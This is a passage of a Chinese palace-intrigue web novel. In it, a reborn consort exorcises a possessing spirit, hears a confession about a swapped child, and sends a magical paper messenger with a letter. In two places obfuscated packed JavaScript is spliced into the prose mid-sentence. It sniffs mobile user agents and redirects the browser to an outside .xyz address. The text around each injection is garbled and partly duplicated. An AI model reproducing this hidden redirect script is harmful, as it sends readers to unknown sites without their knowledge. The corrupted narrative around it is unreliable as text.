夹道幽深,两侧是高耸的宫墙,墙头生着枯黄的杂草。 阳光被切割成细长的光带,投在布满青苔的潮湿地面上,空气里弥漫着陈年的灰尘和一种挥之不去的阴冷湿气。 魑惊在前,温招在后。两人一前一后,无声地行走在这条被遗忘的秘径中。温招银色的面具在幽暗的光线下偶尔反射出一点冷光,脚步落在湿滑的石板上,轻得如同鬼魅。 只有她掌中那抹鲜亮的红,在这片灰败的阴影里,显得格外刺目而诡异。 她们的目标,是宫墙西北角,那片阳光也照不透的冷宫。 夹道的尽头,是一扇几乎被藤蔓和厚厚青苔覆盖的、腐朽发黑的木门。 门轴早已锈死,魑惊没有尝试推开,而是引着温招绕到旁边一处坍塌的矮墙豁口。 豁口后面,便是冷宫。 一股浓烈到令人窒息的、混杂着霉烂、尘土和某种难以言喻的衰败气息扑面而来,远比夹道里更甚。这里的光线似乎都被吞噬了,即使在清晨,也灰蒙蒙一片。 残破的殿宇如同巨大而沉默的骸骨,歪斜地矗立在荒草丛生的庭院里。死寂,一种沉重得能压垮人心的死寂。 温招踏过齐膝深的枯草,银色面具在灰暗的光线下毫无温度。 她的目光掠过那些黑洞洞、仿佛巨兽之口的破败门窗,最终锁定了庭院最深处,一扇勉强还算完整的殿门。 门虚掩着,缝隙里渗出更浓的黑暗。 魑惊无声地抢前一步,用身体挡住可能存在的视线死角,伸手推开了那扇沉重的,布满污渍的木门。 “吱嘎……” 刺耳的摩擦声撕裂了死寂,也惊动了殿内的“东西”。 殿内比庭院更暗,几乎伸手不见五指。一股混杂着排泄物和腐坏的恶臭猛地涌出。借着门口透进的微光,能看到角落里蜷缩着一个模糊的白影。 正是梁静慈。 她似乎被突然的光线和声响惊到,猛地抬起头,发出野兽般的嗬嗬声。她依旧穿着那身污秽不堪的白色寝衣,长发纠结如乱草,遮住了大半张脸。 但那双眼睛,即使在昏暗中,也能看到翻白的、浑浊的眼球,死死地钉在门口闯入的两人身上,尤其是……温招脸上那张冰冷的银色面具。 她像是被那面具刺激到了,喉咙里发出更响亮的、充满恐惧和怨毒的嘶鸣,身体剧烈地抽搐起来,手脚并用,似乎想往更深的黑暗里爬。 温招迈步走了进去,对扑面而来的恶臭和梁静慈的嘶鸣恍若未闻。魑惊紧随其后,反手关上了殿门,将最后一点天光也隔绝在外,殿内瞬间陷入近乎绝对的黑暗,只有三人微弱的呼吸和梁静慈惊恐的抽气声。 温招站定在距离梁静慈几步远的地方。她缓缓抬起右手,掌心摊开。 那卷鲜红的血蚕丝线在绝对的黑暗中隐隐透出一层极微弱却异常醒目的暗红光泽。 蜷缩的梁静慈像是被那红光烫到,猛地向后缩去,喉咙里的嗬嗬声变成了尖锐的呜咽,充满极致恐惧。 温招对此毫无反应。她左手极其稳定地捻住红线一端,右手开始以一种精准稳定的速度,将那鲜红丝线一圈一圈缠绕在自己右手手腕上。 红线在黑暗中无声滑动缠绕。每多缠一圈,梁静慈的呜咽就尖锐一分,身体颤抖得更剧烈,翻白的眼睛死死盯着那抹越来越亮的暗红。 很快,丈二红线尽数缠绕在温招右手小臂上,如同一条盘踞的赤蛇。温招放下左手,缠绕红线的手臂在黑暗中抬起,指尖对准了角落里因极度恐惧而僵硬的梁静慈。 面具孔洞后的那双眼睛冰冷得没有一丝波澜。 “找到你了。”温招的声音透过面具传出,金属般冷硬漠然,不像是询问,而是宣告。 她缠绕红线的右手五指猛地张开,又骤然凌空一握。 “呃啊啊啊!!!” 蜷缩在地的梁静慈身体瞬间绷直,如同被无形的巨力狠狠勒住脖颈提起。她双脚离地,头颅被一股力量强行向后拉扯,露出青筋暴跳的惨白脖颈和那张因窒息而扭曲变形的脸。 她喉咙里爆发出非人的惨嚎,浑浊翻白的眼珠几乎要凸出眼眶,瞳孔深处却猛地爆发出一种截然不同的,怨毒暴戾的黑色光芒。 那光芒瞬间吞噬了浑浊的眼白,死死盯住温招,一个嘶哑扭曲完全不属于梁静慈的女声从她喉咙深处硬挤出来: “温招……你个贱人……我明明差一点就成功了……都怪你……都怪你!!!” “藏头露尾的虫豸,”她声音带着毫不掩饰的讥讽,“上来就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023715|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骂我?” “藏头露尾的虫豸,”温招声音带着毫不掩饰的讥讽,“上来就骂我?” 那占据梁静慈双目的漆黑怨毒猛地一滞,随即爆发出更狂暴的怒火。嘶哑的女声尖啸着,带着滔天恨意:“温招!你该死!我既然杀的了你一次,就会杀了你第二次!!” 温招瞳孔骤缩。 杀得了你一次……第二次…… 这句话如同冰冷的毒针,狠狠刺入她最深的隐秘!寒意瞬间从脊椎窜上头顶,冻结了面具下每一寸神经。这人……竟带着前世的记忆?!她究竟是谁?! 缠绕红线的右手猛地绷紧!比之前任何一次都更狠更绝! “呃啊!!!”梁静慈悬空的身体爆发出前所未有的惨嚎,如同濒死的野兽。骨骼发出令人牙酸的咯吱声,皮肤下血管根根凸起,仿佛下一秒就要爆裂。 那漆黑眼瞳中的怨毒被这突如其来的、远超承受极限的痛苦彻底撕碎,只剩下纯粹的、濒死的恐惧和惊骇。 “你是谁?!”温招的声音透过面具,第一次失去了绝对的冰冷,裹挟着金属摩擦般的刺耳寒意和一丝压抑不住的惊怒,“说!!” “温招……这一次……我定会让你魂飞魄散……!”那女声在剧痛中扭曲变形,语气中带着讥讽。 “名字!!”温招五指几乎要嵌入虚空,缠绕手臂的红线骤然迸发出刺目的暗红血芒,将梁静慈整个身体都映照得如同血染! 突然,黑气猛地一缩,像是被无形的力量硬生生从梁静慈体内扯出。 一个模糊扭曲、充满怨毒的女子虚影在梁静慈头顶一闪而逝,发出最后一声充满不甘和极致恐惧的尖啸,随即如同泡影般砰然碎裂,消散在绝对的黑暗里。 梁静慈也昏了过去,魑惊看到眼前这一幕已然目瞪口呆,但她并未言语,温招此刻的脸色肉眼可见的阴沉,像是暴风雨中的闪电,令人生寒。 殿内死寂得可怕。 温招缓缓放下手臂。缠绕的红线血芒迅速褪去,只余下冰冷的丝线。她站在原地,银色面具在黑暗中如同凝固的寒冰。 温招没有动。她站在那里,面具后的目光死死盯着梁静慈瘫软的身体,又仿佛穿透了她,看向更深更冷的虚空。 那怨灵消散前最后的诅咒“魂飞魄散”如同冰冷的毒蛇,缠绕上她的心脏。 温招的冷漠不是与生俱来,是从重生之后变成了满心复仇、心无旁骛的阎罗,可说到底,她还是那个会躲在李婆怀里偷偷抹眼泪的温招,她永远不会忘记前世一遍又一遍的从死亡边缘来回徘徊,直至被凌虐致死。 死亡的威胁再一次涌了上来,并且上一世的痛那是温招的软肋,有人知道了她的秘密,有人要她魂飞魄散,可她的这次命,是拿李婆的永生永世换的,怎么可能让旁人轻易夺走,哪怕软弱也得坚强,虽然温招向来是个坚强的姑娘。 面具下,紧抿的唇线微微颤抖了一瞬,随即被更深的冰冷覆盖。眼底翻涌的惊涛骇浪被强行压下,化为一片深不见底的寒潭。 她猛地转身,不再看地上昏迷的梁静慈。 “走。”一个字,从面具下挤出,声音嘶哑低沉,却带着一种斩断所有犹疑的决绝。 魑惊立刻躬身:“诺。” 温招大步走向紧闭的殿门,缠绕红线的右手紧握成拳,指节因用力而泛白。魑惊抢前一步拉开沉重的门板。 惨淡的天光重新涌入,却无法驱散温招周身凛冽的寒意。她踏出腐朽的冷宫,没有回头。银色的面具在灰白天光下反射着冰冷的光。 她抬手,将面具重新覆在脸上,遮住所有可能泄露的情绪。 “去司天监。”冰冷的声音透过面具传出,不容置疑。 魑惊立刻应道:“诺。”她引着温招,踏上另一条通往宫城深处更隐秘之地的路径。 20.020 此时的阮时逢已经打点好了一切,买通了宫人,安排好了宫外的住宅,已经为她准备了新的身份。他精心为温招设计了一场假死,包括着魑惊,只要温招一声令下,他便立即安排。只是他不知晓此时此刻早已有人已经盯上了温招。 林家有一女,静女其姝,俟我于城隅。林静姝与温招同一时间入宫,与温招的待遇可谓是云壤之别,入宫被封为答应,这林氏本是大族,其父林海高更是身兼督统一职,朝堂正二品官员。林静姝身为嫡长女被封为答应未免太低了些,只是此人在殿选时,便有些神神叨叨,传闻林静姝是受了督统府夫人、万氏的影响。 听闻从诞下林静姝后,万氏便精神有些不正常,时常半夜对镜梳头,未免有些瘆人,恰巧林海高又是个痴情种,不喜任何人背地里议论万氏的一言一行。林静姝由万氏带大,众人也能理解此人未变有些与旁人不同,可皇家不一样,入宫之人,要么非富即贵,要么容貌出众。 而林静姝相貌随了林海高,平平无奇,而又是个内敛性子,加上神神叨叨的,常青也就是看在她是林家嫡女才留了牌子,林静姝入宫之后,便与常青再也没见过了。 可今日夜里,魑惊突然禀报,林答应来了栖梧宫,说是来给温招请安。早不请,晚不请,偏偏在大半夜来请安。 栖梧宫寝殿内,烛火摇曳。温招刚褪下外袍,魑惊无声侍立一旁。 “娘娘,”魑惊的声音压得极低,带着一丝紧绷,“林答应来了。说……来给您请安。” 温招动作一顿,抬眼看向窗外浓重的夜色。林静姝?那个入宫后几乎被遗忘、神神叨叨的林家嫡女?这个时辰请安? “不见。”温招声音清冷,毫无波澜。无事献殷勤,非奸即盗。尤其在这种时候。 魑惊应声出去传话。不多时,她又匆匆折返,脸上惯常的平静被一丝凝重打破:“娘娘……林答应说……若您不见,她便跪在宫门外,跪上一夜。” 温招眉梢几不可察地一挑。跪一夜?这哪里是请安,分明是胁迫。 她走到窗边,指尖挑开一丝厚重帘幕缝隙。惨淡的宫灯光晕下,栖梧宫紧闭的朱漆大门外,果然跪着一个纤细身影。一身素净宫装,长发简单挽起,背脊挺得笔直,面向宫门,一动不动。正是林静姝。 夜风吹过,卷起几片落叶,更添几分萧瑟寒意。她跪在那里,像一尊没有生气的石像,无声无息,却又带着一种说不出的固执和诡异。 温招的目光在她身上停留片刻,掠过她过于挺直的背脊,过于平静的姿态。没有哀求,没有哭喊,只有一种死水般的沉寂和……坚持。 “让她进来。”温招皱了皱眉头,眼神中带着一丝审视的意味,“本宫倒要看看,这位林答应……葫芦里卖的什么药。” 魑惊躬身:“诺。”立刻转身去传令。 殿门无声滑开,一股深夜的寒气裹挟着林静姝纤细的身影飘了进来。 她垂着头,脚步很轻,走到殿中距离温招几步远的地方停下,规规矩矩地屈膝行礼:“臣妾林氏静姝,给良妃娘娘请安。”声音平平,没什么起伏,像一潭死水。 温招端坐主位,烛光映着她半边清冷侧脸:“免礼。林答应深夜至此,所为何事?”声音听不出情绪。 林静姝慢慢直起身,却没有立刻抬头。她目光低垂,落在自己交叠在身前的手上,仿佛在数着指尖的纹路。殿内一时静得只闻烛火哔剥。 “娘娘这里……真亮堂……”林静姝忽然开口,声音依旧平平,却带着一丝不易察觉的飘忽,“不像臣妾那里……总觉得暗……” 她终于缓缓抬起眼。那双眼睛很平常,既不特别明亮,也不特别黯淡,只是眼神有些空,没有焦点似的在殿内游移,掠过烛台,掠过帷幔,最后才落到温招脸上,却又好像没真正看她。 “嫔妾睡不着……想着娘娘前几日……怕是也受了惊……”她语速很慢,每个字都像是从很远的地方飘过来,“冷宫那位……闹得凶……” 温招端茶的手几不可察地一顿,眼神骤然锐利如冰锥,直刺向林静姝:“林答应消息倒是灵通。” 林静姝像是没察觉到那目光里的寒意,依旧自顾自地低语,眼神却突然望向了温招的脸,神色恍惚。 “传闻温氏女……有倾城之资……如今一看……怪不得陛下喜欢……” 温招将茶盏往案上一放,瓷面相触的轻响在静夜里格外清冽。她眉峰微蹙,目光落回林静姝脸上时已添了几分冷意:“林答应深夜拜访,不是来同本宫说这些闲话的吧。” 林静姝像是没听见那话里的疏离,眼神忽然定住,直直看向温招心口的位置。她嘴唇动了动,声音比刚才更低些,像是贴在风里说出来的:“娘娘比旁人多了一魄呢……” 温招搁茶盏的手猛地僵住,绢帕从指缝滑出半寸。她垂眸掩住眼底惊涛,声音仍强压着镇定:“林答应胡言乱语什么。” 林静姝却逼近半步,眼神忽然亮得瘆人:“娘娘这一魄……还是阴魄……只怕是……” 温招骤然起身,衣袖带翻了茶盏。滚烫的茶水溅在她手背上,她却浑然不觉。 林静姝的目光仍钉在她心口,仿佛能穿透那层华贵衣料,直视其中隐秘。她忽然笑了,那笑意浮在面上,未达眼底:“娘娘怕什么?” “魑惊。”温招声音冷极,“送客。” “娘娘!”她的声音陡然拔高,带着一种尖利的急切,瞬间撕破了殿内紧绷的死寂,“臣妾并非是您的敌人!” 温招眼神如冰,毫无波动,只冷冷盯着她。 林静姝急促地喘息了一下,方才那种飘忽的诡异感消散了些,取而代之的是一种被逼到绝境的孤注一掷。她语速飞快,声音压得极低,却字字清晰:“臣妾并非林氏嫡女,万氏与林海高是世家联姻,林海高有一心上人,那女子身份低微,被万家活活逼死,林海高便将这罪过记到了万氏头上。” 林静姝的话像一块冰投入死水,激起的寒意无声扩散。温招的眼神依旧冰冷,但微微凝滞了一瞬。她没说话,只抬手止住了魑惊的动作。 殿内死寂。林静姝急促的喘息声清晰可闻,她似乎耗尽了力气,肩膀微微垮下,方才那种尖锐的孤注一掷褪去,又带上一点惯常的飘忽。 “万氏……”她声音低下去,带着一种空洞的怜悯,“不久便诞下一女……林海高为了报复万氏,亲手杀死了自己的骨肉……万氏便疯了……” 温招指尖冰凉,袖中那锦囊的蠕动感仿佛更清晰了。她看着林静姝:“所以,你是谁?” 林静姝缓缓抬起头,眼神第一次有了焦点,直直望向温招,带着一种奇异的平静:“我是那个被换掉的孩子。林海高怕丑事外露,又怕失去万氏支持,于是从外面寻了个女婴……此人便是臣妾。” 温招瞳孔猛地一缩。殿内烛火似乎也随着她心绪摇曳了一下。林静姝的话像一把生锈的钥匙,强行插入她认知的锁孔,带来一阵令人不适的刮擦感。 “换子……”温招的声音听不出情绪,冰封之下是翻涌的暗流,“林海高好大的胆子,好狠的心。” 林静姝扯了扯嘴角,那笑容比哭还难看:“娘娘说的是。臣妾便是那个见不得光的替代品。万氏……不,我娘,她疯了,却也护了我十几年,直到现在。” “她现在怎么样?”温招追问,目光锐利如刀。 林静姝的眼神瞬间灰暗下去,像燃尽的烛火,只剩下冰冷的余烬。“她……”她的声音飘忽得几乎听不见,“被锁在督统 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林静姝灰暗的眼睛骤然亮起一丝微光,如同溺水者抓住了浮木。她猛地抬头,语速又快又低,带着孤注一掷的急切:“请娘娘救我娘!林海高已经容不下她了!她快死了!只有娘娘能救她出那个院子!” “本宫如何救?”温招目光沉静,并未立即应承。 林静姝摇着头,神色突然空洞了下来,她也不知道该怎么救,她只知道得找一个足够有权势的人,温招恰恰就是目前最得宠的嫔妃,她只能来找她。 林静姝眼中的微光骤然熄灭,只剩一片死寂的灰烬。她茫然地看着温招,嘴唇翕动了几下,最终只吐出几个破碎的音节:“……臣妾……不知……” 温招看着她失魂落魄的样子,那空洞麻木的神情像极了万氏口中被锁在深院的枯槁妇人。一丝极淡的,连她自己都未曾察觉的疲累涌上心头。她闭了闭眼,再睁开时,眼底已是一片不容置疑的寒潭。 “此事,本宫知道了。”温招的声音不高,却带着沉甸甸的分量,压得林静姝肩膀一颤,“你先回去。” 林静姝猛地抬头,眼中瞬间爆发出溺水之人抓住浮木般的希冀。 “娘娘……” “本宫自有计较。”温招打断她,目光如淬了冰的利刃,直刺林静姝眼底,“你今日所言,入你耳,入我耳。若再有第三人知晓,”她微微一顿,每一个字都清晰如冰珠砸落,“本宫会让你和你娘,永远闭嘴。” 那“杀”字并未出口,却比任何血淋淋的威胁更令人胆寒。林静姝脸色瞬间惨白如纸,身体晃了晃,像是被无形的重锤击中。她死死咬着下唇,尝到一丝铁锈味,才勉强稳住身形。 “……臣妾……明白……”她低下头,声音细若蚊蚋,带着劫后余生的颤抖和深入骨髓的恐惧,“谢娘娘……恩典……” “退下。”温招不再看她,重新坐回主位,指尖在冰冷的扶手上轻轻一点。 魑惊无声地出现在林静姝身侧,像一道没有温度的影子。林静姝几乎是踉跄着,被那无形的压力逼着转过身,脚步虚浮地朝殿门挪去。来时那股诡异的飘忽感消失了,只剩下被彻底看穿、生死悬于一线的惊惶和沉重。 殿门无声合拢,隔绝了外面浓重的夜色和那个单薄颤抖的身影。 殿内重归寂静,烛火跳跃,在温招清冷的侧脸上投下明明灭灭的光影。 她温招不是多管闲事之人,只是在此事上,对方有自己的把柄,况且,那恻隐之心在隐隐作祟,温招的娘亲走了,走的突然;温招的李婆也走了,走的凄凉。 可林静姝的娘亲还没有走……她温招想插手一次……就这一次……就当是……帮小时候的自己……留住了一次娘亲…… 21.021 第二日清晨,天光未透,栖梧宫已醒了。温招坐在镜前,由魑惊梳妆,铜镜映出的脸依旧清冷,眼底却多了一丝难以察觉的沉郁。 魑惊将最后一支素簪插入发髻,动作停下,如同融入背景的影子。 温招没有回头,目光依旧落在镜面深处,声音不高,带着晨起的微哑:“去查林府西苑,万氏的状况。所有看守,摸清底细。当年经手换子的人,掘地三尺,寻其下落。” “诺。”魑惊的声音平板无波,身影微动,已从镜中淡去,仿佛从未存在过。 殿内只剩下温招一人,对着镜中那张过分冷静的脸。 铜镜映着温招清冷的侧影,殿内空寂无声。魑惊离去的气息尚未散尽,一丝极淡的墨香已随着她指尖的动作在空气中氤氲开来。温招起身,走向靠窗的紫檀书案。 案上素纸铺陈,镇纸压着边角。她执笔,蘸墨,动作平稳,不见丝毫犹豫。笔尖悬于纸面,墨迹将落未落。 林静姝那张绝望的脸,万氏被囚深院的惨状……这些杂乱的碎片在她脑中沉浮。 虽说阮时逢宫外备好的一切,那条看似唾手可得的生路,此刻却显得过于单薄。她需要时间,需要解开林静姝带来的这团乱麻。 更需要,替那个早已消失在时光里的小女孩,抓住一次微茫的可能。 笔尖落下,墨色在素笺上洇开,字迹清瘦峻拔,带着她一贯的冷冽: “阮大人: 宫外诸事,暂缓。栖梧宫外,耳目甚杂,林府亦有异动。待尘埃落定,再行定夺。一切如常,勿露痕迹。” 她停笔,审视着那寥寥数语。推迟,意味着风险,意味着要在漩涡中心多停留一段未知的时日。可林静姝和她口中那个被锁在深院熬干的万氏,像冰冷的钩子,扯动了她心底最深处那根锈死的弦。 她的娘亲,李婆……那些留不住的身影在记忆深处一闪而过。这一次,或许能抓住点什么,哪怕只是一缕微光。 温招将信笺折好,封口。信笺封口的火漆尚未完全冷却,温招已从案边暗格里取出一张薄如蝉翼、色呈土褐的纸。土火纸,遇血则燃,燃尽无痕。 她指尖在发间素簪尾端轻轻一划,一道细小的血口出现。殷红的血珠沁出,被她毫不犹豫地按在土火纸中央。 血珠触纸,并未晕开,反而如同活物般被纸面瞬间吞噬。土褐色的纸面骤然亮起一层诡异的暗红微光,仿佛底下有火炭在烧。温招面无表情,手指翻飞,动作快而精准,血珠为核,暗光流转的薄纸在她指间迅速折叠、压紧。 一个不足三寸高的纸人雏形在她掌心成形。那暗红的光在纸人内部脉动,如同心脏搏动。 温招垂眸,将封好的信笺放在纸人旁边,声音低而清晰,每一个字都像冰冷的石子投入死水:“送去司天监,阮时逢。” 最后一个字音落下,她指尖在纸人头顶极其轻微地一按。 “噗。” 一声极轻微的、如同烛芯爆裂的细响。纸人空洞的头部位置,两点幽暗的红光骤然点亮,像是骤然睁开了眼睛。它僵硬地转动了一下用纸折出的脖颈,两点红光锁定了案上那封薄薄的信。 温招收回手,指腹的血口已凝成一道细线。她静静看着。 纸人动了。它以一种非人的、关节僵硬的姿态,从她掌心“站”了起来。细小的纸臂伸出,抱住那封对它而言显得过于宽大的信笺。动作笨拙,却异常稳固。 它抱着信,从案几边缘一步踏出,坠向冰冷坚硬的地砖。 没有落地声。 在它即将触及地面的瞬间,那土褐色的纸躯边缘腾起一缕极淡的青烟,整个身体如同投入熔炉般无声地燃烧起来。没有火焰的形状,只有一层飞速蔓延的、炽白的光膜将它和信笺包裹其中。 光膜一闪即逝。 案几之下,青烟散尽,只余下一点极其微小的灰烬,被窗外涌入的晨风一吹,便彻底消失无踪。仿佛从未有过什么纸人,也从未有过那封染血的信。 土火纸人抱着信,坠入殿内阴影。 它没有落地。那点幽微红光在纸片头颅里闪烁,如同两点凝缩的鬼火。细小的纸脚踩上冰冷地砖,无声无息。 它开始移动。关节僵直,动作带着非人的顿挫,每一步却异常稳固。它抱着对它而言过于巨大的信笺,穿过空旷大殿的阴影,避开稀薄晨光照射的区域。 殿门紧闭,门缝狭窄。纸人停在朱漆门槛前,两点红光在门缝的黑暗中闪了闪。下一瞬,它扁平的身体仿佛失去了厚度,紧贴着地面,如一片被风吹起的枯叶,无声无息地从门缝最底下的空隙滑了出去。 栖梧宫外,宫道漫长空旷,青石铺就的路面在晨雾中泛着湿冷的青光。纸人紧贴着墙根最深的阴影前行。 它速度不快,动作僵硬,却带着一种奇异的、不达目的不休止的执拗。偶尔有早起的宫人提着水桶或食盒匆匆走过,脚步带起的风几乎要掀翻它。 它便紧贴住冰冷粗糙的宫墙砖石,两点红光微弱地亮着,如同蛰伏的虫,直到那脚步声远去,才继续抱着信,一瘸一拐地向前。 纸人贴着宫墙根,在青石缝间挪移。晨雾湿冷,两点红光幽微如烬。它绕过扫洒宫人扬起的污水,避开侍卫铁靴踏过的石阶,像一片被遗忘的秽物,固执地爬向皇城西北角。 司天监。 朱漆大门紧闭,门前两尊石兽沉默。纸人停在兽爪投下的阴影里,头颅的红光对着紧闭的门缝闪烁。它伸出细瘦纸臂,指尖触到门缝底部。 没有推动。它太薄,太轻。 纸人停顿了一瞬。头颅红光暗了暗,仿佛在思考。随即,它整个身体骤然塌缩,薄如蝉翼的纸片紧贴地面,顺着门缝下那一道微不可察的缝隙,挤了进去。 门内是另一个世界。光线陡然昏暗,空气凝滞,弥漫着陈旧木料、干燥草药和一种难以言喻的、类似金属锈蚀的微腥气味。高大的木架顶天立地,堆满蒙尘的卷宗、褪色的罗盘、奇形怪状的铜器。阴影在角落堆积,浓重得化不开。 纸人扁平的身体在冰冷光滑的地砖上重新“站”起,恢复那不足三寸的僵硬人形。两点红光扫过这巨大、拥挤、死寂的空间,锁定了更深处一张堆满杂物的长案。 案后无人。只有一盏孤灯,豆大的火苗在琉璃罩里跳动,勉强照亮桌角堆积的星图和散落的算筹。 纸人抱着信,开始移动。它穿过地上散落的卷轴,绕过倾倒的青铜日晷,动作依旧顿挫,却目标明确。两点红光在昏暗里划出断续的轨迹。 它终于来到长案下。仰起纸折的头颅,红光直直照向案面。太高了。 纸人静立片刻。它忽然抬起一只纸脚,踏在桌腿雕花的凹陷处。细小的关节扭曲着发力,另一只脚跟上。它开始向上攀爬。动作笨拙得可笑,纸片摩擦着木头,发出极其细微的沙沙声。 爬到一半,案后阴影里传来一声极低的咳嗽。 纸人动作猛地僵住,头颅的红光瞬间熄灭,整个纸躯紧贴在桌腿雕花缝隙里,与深色木纹融为一体,死物般沉寂。 脚步声由远及近,不疾不徐。一双黑色软底布靴停在案前,袍角拂过地面微尘。 阮时逢俯身,从案下阴影里捡起一支滚落的青铜卦签。他直起身,目光随意扫过桌面,掠过散乱的星图,掠过那盏孤灯。 掠过桌腿。 他视线似乎在那片与深色木纹融为一体的土褐色上停留了一瞬,又似乎没有。他神色如常,仿佛只是看一件寻常家具,伸手拂去袍角沾染的一点灰尘。 他拿起灯罩,用一根细长的银签,轻轻拨了拨灯芯。 火光跳跃了一下,室内光影晃动。 就在这光影晃动的瞬间,那紧贴桌腿的纸人动了。两点红光猝然亮起,纸躯借着光影掩护,猛地向上一窜,攀上桌沿,再一滚,无声无息地落在那堆散乱的星图之上。 它暴露在灯下。 阮时逢放下银签,目光终于落在这不速之客身上。 阮时逢的目光落在星图上那个抱着信笺的土褐色纸人身上。两点幽红在纸片头颅里亮着,直勾勾对着他。 空气凝固了一瞬。 “……”阮时逢嘴角几不可察地抽动了一下。他默默放下拨灯芯的银签,手指无意识地捻了捻袖口。 纸人抱着信,一动不动,红光幽幽。 阮时逢深吸一口气,动作极其缓慢地,朝那纸人伸出了两根手指。指尖悬在纸人上方一寸,停住。他眉头微蹙,像是在进行某种复杂的推演。 纸人依旧不动,红光稳定。 阮时逢的手指又往下探了半分。停住。他侧了侧头,换了个角度观察,仿佛在研究一件稀世珍宝的结构。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035234|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 纸人还是没动。 两根手指终于小心翼翼地,捏住了纸人那薄得几乎没有厚度的纸片肩膀。 纸人被他捏着肩膀提了起来,悬在半空,两条纸腿僵硬地垂着,怀里的信笺跟着晃了晃。两点红光依旧执着地对着阮时逢的脸。 阮时逢把它拎到眼前,凑近了仔细看。鼻尖几乎要碰到那土褐色的纸片。他甚至还伸出另一只手,极轻极轻地,用指尖戳了戳纸人的肚子。 纸人毫无反应。 阮时逢的眉头舒展开,嘴角抑制不住地向上弯起一个微小的弧度,眼中闪过一丝孩子般纯粹的惊奇和……兴奋。 “啧。”他低低地发出一声短促的惊叹,拎着纸人晃了晃,“还真是个……活的?” 纸人被他晃得怀里的信笺差点脱手,两点红光急促地闪烁了两下。 阮时逢立刻停手,像是怕把它晃散架了。他捏着纸人肩膀,把它重新放回星图上,动作堪称轻柔。然后,他屈起食指,带着点好奇,在纸人那折出来的、没有五官的“脸”前,极快地、轻轻地弹了一下。 啪嗒。 声音微不可闻。 纸人被他弹得整个纸躯往后一仰,差点从星图上翻下去。它手忙脚乱地抱紧信笺,两点红光疯狂闪烁,像是在表达无声的抗议和控诉。 阮时逢看着它笨拙又努力稳住身形的样子,没忍住,“噗嗤”一声笑了出来。那笑声在空旷死寂的司天监内格外清晰,也格外不合时宜。 他立刻意识到失态,猛地抬手捂住了自己的嘴,只余下一双眼睛弯着,笑意还未完全褪去。他清了清嗓子,努力板起脸,但眼角眉梢依旧残留着那点被这诡异小东西逗乐的痕迹。 他伸出手,这次目标明确,是它怀里紧抱的那封信。 “好了好了,不逗你了。”阮时逢声音里还带着一丝未散的笑意,手指捏住信笺一角,试图抽出来,“知道你是良妃娘娘派来的小玩意儿,乖,把信给我。” 纸人死死抱着信笺,两点红光警惕地盯着他,纸片手臂抱得更紧了,一副誓与信笺共存亡的架势。 阮时逢拽了一下,没拽动。 “嘿?”他挑眉,另一只手也加入了“战斗”,两根手指捏住纸人另一边肩膀固定住它,再用力一抽。 嘶啦…… 信笺被顺利抽了出来,但纸人一条细瘦的纸臂,因为抱得太紧,被信笺的边缘带得撕裂了一小条,软塌塌地垂了下来。 纸人僵硬地低头,看着自己“断掉”的手臂,两点红光似乎都黯淡了一瞬。 阮时逢:“!!!!” 他捏着信笺,看看那条垂落的纸片手臂,又看看纸人那“呆滞”的样子,脸上表情瞬间变得极其精彩,混杂着一点点心虚,一点点尴尬,还有一丝丝“这玩意儿居然还能坏”的荒谬感。 他干咳两声,试图若无其事地展开信笺,嘴里小声嘀咕:“咳……回头……回头给你粘上……” 阮时逢捏着那封薄薄的信,指尖残留着撕下纸人手臂时细微的摩擦感。他瞥了一眼星图上那个土褐色的小东西,它断裂的纸臂软软垂着,头颅两点红光微弱地闪烁,竟透出一种茫然的委屈。 这委屈让他心头掠过一丝荒谬的烦躁。他不再看它,迅速展开信笺。 温招的字迹清瘦冷冽,寥寥数语撞入眼中:宫外暂缓,耳目杂,林府异动。尘埃落定,再定夺。一切如常,勿露痕迹。 “暂缓……”阮时逢低语,指尖在“林府异动”四个字上敲了敲。他抬眼望向窗外,天色灰蒙,司天监高耸的檐角刺破薄雾。 推迟计划,意味着所有布置要重新调整,风险陡增。温招不是优柔寡断之人,林府西苑那个叫万氏的妇人,还有那个被换掉的孩子,竟让她甘愿在这漩涡中心多停留。 他嘴角扯起一个没什么温度的弧度,不知是嘲是叹。指间信纸被无声揉皱,又缓缓展平。不能留。 阮时逢走向角落的青铜香炉。炉内积着冰冷的香灰。他将信纸一角凑近炉口内壁上残留的一星半点的暗红余烬。 嗤。 微不可闻的轻响。一点火星贪婪地舔舐上纸角,迅速蔓延,焦黑的边缘卷曲,吞噬着那些清冷的字迹。火光映着他沉静的眉眼,跳跃着,又迅速黯淡下去。最后一点纸灰飘落香炉深处,与旧灰混为一体,再无痕迹…… 22.022 阮时逢转身,目光重新落回星图。那纸人还瘫在那里,断臂醒目,红光奄奄一息,一副“我已是个废纸”的绝望姿态。 他走过去,两根手指把它拈起来。轻飘飘,毫无分量。断臂软软垂着,像条无用的飘带。 “喂,”阮时逢把它拎到眼前,对着那两点微弱的红光,“还能动么?” 纸人毫无反应,红光连闪都懒得闪一下。 阮时逢伸出另一只手的食指,试探性地,戳了戳纸人的“脸”。 没动。 又戳了戳它的肚子。 还是没动。 他加重力道,用指甲盖弹了弹它的“额头”。 纸人像个真正的死物,随着他的力道晃了晃,红光彻底熄灭了。 阮时逢:“……” 